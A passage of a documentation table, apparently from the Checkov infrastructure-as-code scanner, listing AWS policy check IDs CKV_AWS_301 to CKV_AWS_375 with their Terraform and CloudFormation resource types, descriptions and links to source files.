[S3AbortIncompleteUploads.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py) | | 741 | CKV_AWS_301 | resource | aws_lambda_permission | Ensure that AWS Lambda function is not publicly accessible | Terraform | [LambdaFunctionIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py) | | 742 | CKV_AWS_302 | resource | aws_db_snapshot | Ensure DB Snapshots are not Public | Terraform | [DBSnapshotsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py) | | 743 | CKV_AWS_303 | resource | aws_ssm_document | Ensure SSM documents are not Public | Terraform | [SSMDocumentsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py) | | 744 | CKV_AWS_304 | resource | aws_secretsmanager_secret_rotation | Ensure Secrets Manager secrets should be rotated within 90 days | Terraform | [SecretManagerSecret90days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py) | | 745 | CKV_AWS_305 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has a default root object configured | Terraform | [CloudfrontDistributionDefaultRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py) | | 746 | CKV_AWS_306 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker notebook instances should be launched into a custom VPC | Terraform | [SagemakerNotebookInCustomVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py) | | 747 | CKV_AWS_307 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker Users should not have root access to SageMaker notebook instances | Terraform | [SagemakerNotebookRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py) | | 748 | CKV_AWS_308 | resource | aws_api_gateway_method_settings | Ensure API Gateway method setting caching is set to encrypted | Terraform | [APIGatewayMethodSettingsCacheEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py) | | 749 | CKV_AWS_309 | resource | aws_apigatewayv2_route | Ensure API GatewayV2 routes specify an authorization type | Terraform | [APIGatewayV2RouteDefinesAuthorizationType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py) | | 750 | CKV_AWS_310 | resource | aws_cloudfront_distribution | Ensure CloudFront distributions should have origin failover configured | Terraform | [CloudfrontDistributionOriginFailover.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py) | | 751 | CKV_AWS_311 | resource | aws_codebuild_project | Ensure that CodeBuild S3 logs are encrypted | Terraform | [CodebuildS3LogsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py) | | 752 | CKV_AWS_312 | resource | aws_elastic_beanstalk_environment | Ensure Elastic Beanstalk environments have enhanced health reporting enabled | Terraform | [ElasticBeanstalkUseEnhancedHealthChecks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py) | | 753 | CKV_AWS_313 | resource | aws_rds_cluster | Ensure RDS cluster configured to copy tags to snapshots | Terraform | [RDSClusterCopyTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py) | | 754 | CKV_AWS_314 | resource | aws_codebuild_project | Ensure CodeBuild project environments have a logging configuration | Terraform | [CodebuildHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildHasLogs.py) | | 755 | CKV_AWS_315 | resource | aws_autoscaling_group | Ensure EC2 Auto Scaling groups use EC2 launch templates | Terraform | [AutoScalingLaunchTemplate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py) | | 756 | CKV_AWS_316 | resource | aws_codebuild_project | Ensure CodeBuild project environments do not have privileged mode enabled | Terraform | [CodeBuildPrivilegedMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py) | | 757 | CKV_AWS_317 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 758 | CKV_AWS_317 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 759 | CKV_AWS_317 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain Audit Logging is enabled | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 760 | CKV_AWS_317 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain Audit Logging is enabled | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 761 | CKV_AWS_318 | resource | aws_elasticsearch_domain | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py) | | 762 | CKV_AWS_318 | resource | aws_opensearch_domain | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py) | | 763 | CKV_AWS_319 | resource | aws_cloudwatch_metric_alarm | Ensure that CloudWatch alarm actions are enabled | Terraform | [CloudWatchAlarmsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py) | | 764 | CKV_AWS_320 | resource | aws_redshift_cluster | Ensure Redshift clusters do not use the default database name | Terraform | [RedshiftClusterDatabaseName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py) | | 765 | CKV_AWS_321 | resource | aws_redshift_cluster | Ensure Redshift clusters use enhanced VPC routing | Terraform | [RedshiftClusterUseEnhancedVPCRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py) | | 766 | CKV_AWS_322 | resource | aws_elasticache_cluster | Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled | Terraform | [ElasticCacheAutomaticMinorUpgrades.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py) | | 767 | CKV_AWS_323 | resource | aws_elasticache_cluster | Ensure ElastiCache clusters do not use the default subnet group | Terraform | [ElastiCacheHasCustomSubnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py) | | 768 | CKV_AWS_324 | resource | aws_rds_cluster | Ensure that RDS Cluster log capture is enabled | Terraform | [RDSClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterLogging.py) | | 769 | CKV_AWS_325 | resource | aws_rds_cluster | Ensure that RDS Cluster audit logging is enabled for MySQL engine | Terraform | [RDSClusterAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py) | | 770 | CKV_AWS_326 | resource | aws_rds_cluster | Ensure that RDS Aurora Clusters have backtracking enabled | Terraform | [RDSClusterAuroraBacktrack.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py) | | 771 | CKV_AWS_327 | resource | aws_rds_cluster | Ensure RDS Clusters are encrypted using KMS CMKs | Terraform | [RDSClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py) | | 772 | CKV_AWS_328 | resource | aws_alb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 773 | CKV_AWS_328 | resource | aws_elb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 774 | CKV_AWS_328 | resource | aws_lb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 775 | CKV_AWS_329 | resource | aws_efs_access_point | EFS access points should enforce a root directory | Terraform | [EFSAccessPointRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py) | | 776 | CKV_AWS_330 | resource | aws_efs_access_point | EFS access points should enforce a user identity | Terraform | [EFSAccessUserIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py) | | 777 | CKV_AWS_331 | resource | aws_ec2_transit_gateway | Ensure Transit Gateways do not automatically accept VPC attachment requests | Terraform | [Ec2TransitGatewayAutoAccept.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py) | | 778 | CKV_AWS_332 | resource | aws_ecs_service | Ensure ECS Fargate services run on the latest Fargate platform version | Terraform | [ECSServiceFargateLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py) | | 779 | CKV_AWS_333 | resource | aws_ecs_service | Ensure ECS services do not have public IP addresses assigned to them automatically | Terraform | [ECSServicePublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServicePublicIP.py) | | 780 | CKV_AWS_334 | resource | aws_ecs_task_definition | Ensure ECS containers should run as non-privileged | Terraform | [ECSContainerPrivilege.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py) | | 781 | CKV_AWS_335 | resource | aws_ecs_task_definition | Ensure ECS task definitions should not share the host's process namespace | Terraform | [ECSContainerHostProcess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py) | | 782 | CKV_AWS_336 | resource | aws_ecs_task_definition | Ensure ECS containers are limited to read-only access to root filesystems | Terraform | [ECSContainerReadOnlyRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py) | | 783 | CKV_AWS_337 | resource | aws_ssm_parameter | Ensure SSM parameters are using KMS CMK | Terraform | [SSMParameterUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py) | | 784 | CKV_AWS_338 | resource | aws_cloudwatch_log_group | Ensure CloudWatch log groups retains logs for at least 1 year | Terraform | [CloudWatchLogGroupRetentionYear.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py) | | 785 | CKV_AWS_339 | resource | aws_eks_cluster | Ensure EKS clusters run on a supported Kubernetes version | Terraform | [EKSPlatformVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPlatformVersion.py) | | 786 | CKV_AWS_340 | resource | aws_elastic_beanstalk_environment | Ensure Elastic Beanstalk managed platform updates are enabled | Terraform | [ElasticBeanstalkUseManagedUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py) | | 787 | CKV_AWS_341 | resource | aws_launch_configuration | Ensure Launch template should not have a metadata response hop limit greater than 1 | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py) | | 788 | CKV_AWS_341 | resource | aws_launch_template | Ensure Launch template should not have a metadata response hop limit greater than 1 | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py) | | 789 | CKV_AWS_342 | resource | aws_waf_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 790 | CKV_AWS_342 | resource | aws_waf_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 791 | CKV_AWS_342 | resource | aws_wafregional_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 792 | CKV_AWS_342 | resource | aws_wafregional_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 793 | CKV_AWS_342 | resource | aws_wafv2_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 794 | CKV_AWS_342 | resource | aws_wafv2_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 795 | CKV_AWS_343 | resource | aws_redshift_cluster | Ensure Amazon Redshift clusters should have automatic snapshots enabled | Terraform | [RedshiftClusterAutoSnap.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py) | | 796 | CKV_AWS_344 | resource | aws_networkfirewall_firewall | Ensure that Network firewalls have deletion protection enabled | Terraform | [NetworkFirewallDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py) | | 797 | CKV_AWS_345 | resource | aws_networkfirewall_firewall | Ensure that Network firewall encryption is via a CMK | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py) | | 798 | CKV_AWS_345 | resource | aws_networkfirewall_rule_group | Ensure that Network firewall encryption is via a CMK | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py) | | 799 | CKV_AWS_346 | resource | aws_networkfirewall_firewall_policy | Ensure Network Firewall Policy defines an encryption configuration that uses a customer managed Key (CMK) | Terraform | [NetworkFirewallPolicyDefinesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py) | | 800 | CKV_AWS_347 | resource | aws_neptune_cluster | Ensure Neptune is encrypted by KMS using a customer managed Key (CMK) | Terraform | [NeptuneClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py) | | 801 | CKV_AWS_348 | resource | aws_iam_access_key | Ensure IAM root user does not have Access keys | Terraform | [IAMUserRootAccessKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py) | | 802 | CKV_AWS_349 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts local disks | Terraform | [EMRClusterConfEncryptsLocalDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py) | | 803 | CKV_AWS_350 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts EBS disks | Terraform | [EMRClusterConfEncryptsEBS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py) | | 804 | CKV_AWS_351 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts InTransit | Terraform | [EMRClusterConfEncryptsInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py) | | 805 | CKV_AWS_352 | resource | aws_network_acl_rule | Ensure NACL ingress does not allow all Ports | Terraform | [NetworkACLUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py) | | 806 | CKV_AWS_353 | resource | aws_db_instance | Ensure that RDS instances have performance insights enabled | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py) | | 807 | CKV_AWS_353 | resource | aws_rds_cluster_instance | Ensure that RDS instances have performance insights enabled | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py) | | 808 | CKV_AWS_354 | resource | aws_db_instance | Ensure RDS Performance Insights are encrypted using KMS CMKs | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py) | | 809 | CKV_AWS_354 | resource | aws_rds_cluster_instance | Ensure RDS Performance Insights are encrypted using KMS CMKs | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py) | | 810 | CKV_AWS_355 | resource | aws_iam_group_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 811 | CKV_AWS_355 | resource | aws_iam_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 812 | CKV_AWS_355 | resource | aws_iam_role_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 813 | CKV_AWS_355 | resource | aws_iam_user_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 814 | CKV_AWS_355 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 815 | CKV_AWS_356 | data | aws_iam_policy_document | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [ResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/ResourcePolicyDocument.py) | | 816 | CKV_AWS_357 | resource | aws_transfer_server | Ensure Transfer Server allows only secure protocols | Terraform | [TransferServerAllowsOnlySecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py) | | 817 | CKV_AWS_358 | data | aws_iam_policy_document | Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py) | | 818 | CKV_AWS_359 | resource | aws_neptune_cluster | Neptune DB clusters should have IAM database authentication enabled | Terraform | [NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py) | | 819 | CKV_AWS_360 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB has an adequate backup retention period | Cloudformation | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py) | | 820 | CKV_AWS_360 | resource | aws_docdb_cluster | Ensure DocumentDB has an adequate backup retention period | Terraform | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBBackupRetention.py) | | 821 | CKV_AWS_361 | resource | AWS::Neptune::DBCluster | Ensure that Neptune DB cluster has automated backups enabled with adequate retention | Cloudformation | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py) | | 822 | CKV_AWS_361 | resource | aws_neptune_cluster | Ensure that Neptune DB cluster has automated backups enabled with adequate retention | Terraform | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py) | | 823 | CKV_AWS_362 | resource | aws_neptune_cluster | Neptune DB clusters should be configured to copy tags to snapshots | Terraform | [NeptuneDBClustersCopyTagsToSnapshots.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py) | | 824 | CKV_AWS_363 | resource | AWS::Lambda::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 825 | CKV_AWS_363 | resource | AWS::Serverless::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 826 | CKV_AWS_363 | resource | aws_lambda_function | Ensure Lambda Runtime is not deprecated | Terraform | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 827 | CKV_AWS_364 | resource | AWS::Lambda::Permission | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount | Cloudformation | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py) | | 828 | CKV_AWS_364 | resource | aws_lambda_permission | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount | Terraform | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaServicePermission.py) | | 829 | CKV_AWS_365 | resource | aws_ses_configuration_set | Ensure SES Configuration Set enforces TLS usage | Terraform | [SesConfigurationSetDefinesTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py) | | 830 | CKV_AWS_366 | resource | AWS::Cognito::IdentityPool | Ensure AWS Cognito identity pool does not allow unauthenticated guest access | Cloudformation | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py) | | 831 | CKV_AWS_366 | resource | aws_cognito_identity_pool | Ensure AWS Cognito identity pool does not allow unauthenticated guest access | Terraform | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py) | | 832 | CKV_AWS_367 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts | Cloudformation | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py) | | 833 | CKV_AWS_367 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts | Terraform | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py) | | 834 | CKV_AWS_368 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume | Cloudformation | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py) | | 835 | CKV_AWS_368 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume | Terraform | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py) | | 836 | CKV_AWS_369 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs | Cloudformation | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py) | | 837 | CKV_AWS_369 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs | Terraform | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py) | | 838 | CKV_AWS_370 | resource | AWS::SageMaker::Model | Ensure Amazon SageMaker model uses network isolation | Cloudformation | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py) | | 839 | CKV_AWS_370 | resource | aws_sagemaker_model | Ensure Amazon SageMaker model uses network isolation | Terraform | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py) | | 840 | CKV_AWS_371 | resource | AWS::SageMaker::NotebookInstance | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2 | Cloudformation | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py) | | 841 | CKV_AWS_371 | resource | aws_sagemaker_notebook_instance | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2 | Terraform | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py) | | 842 | CKV_AWS_372 | resource | aws_sagemaker_flow_definition | Ensure Amazon SageMaker Flow Definition uses KMS for output configurations | Terraform | [SagemakerFlowDefinitionUsesKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py) | | 843 | CKV_AWS_373 | resource | AWS::Bedrock::Agent | Ensure Bedrock Agent is encrypted with a CMK | Cloudformation | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py) | | 844 | CKV_AWS_373 | resource | aws_bedrockagent_agent | Ensure Bedrock Agent is encrypted with a CMK | Terraform | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py) | | 845 | CKV_AWS_374 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront web distribution has geo restriction enabled | Terraform | [CloudFrontGeoRestrictionDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py) | | 846 | CKV_AWS_375 | resource | aws_s3_bucket_acl | Ensure AWS S3 bucket does not have global view ACL permissions enabled | Terraform | [S3GlobalViewACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3GlobalViewACL.py) 